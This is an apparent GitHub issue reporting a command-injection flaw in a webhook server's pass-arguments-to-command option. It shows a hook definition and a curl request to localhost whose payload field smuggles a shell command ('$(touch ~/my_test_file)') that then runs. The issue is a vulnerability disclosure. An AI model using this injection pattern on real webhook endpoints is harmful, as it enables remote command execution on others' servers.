-
-
Notifications
You must be signed in to change notification settings - Fork 867
Open
Description
When using pass-arguments-to-command you can inject arbitrary commands into the payload and they will be executed.
Hook definition:
- id: my_hook
execute-command: "/my_script.sh"
http-methods:
- POST
pass-arguments-to-command:
- source: payload
name: prefix
curl -d "prefix=dummy$(touch ~/my_test_file)" -X POST http://localhost:9000/hooks/my_hook
Running this curl command causes ~/my_test_file to be created.
Metadata
Metadata
Assignees
Labels
No labels